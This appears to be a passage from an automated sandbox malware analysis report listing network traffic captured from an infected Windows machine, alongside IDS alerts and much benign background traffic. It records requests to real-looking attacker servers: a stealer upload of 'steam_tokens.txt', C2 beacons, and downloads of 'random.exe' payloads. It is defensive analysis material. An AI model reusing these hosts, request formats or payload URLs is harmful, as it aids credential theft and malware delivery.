6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file"------JJJEBGDAFHJEBGDGIJDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="message"ybncbhylepme------IDHIEGIIIECAKEBFBAAE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDHCGDGIEBKJKFHJJKFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008379001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49816 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49942 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50107 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50138 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_007BBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

24_2_007BBE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9Su9uS29T6Efywg&MD=84sb23Ry HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
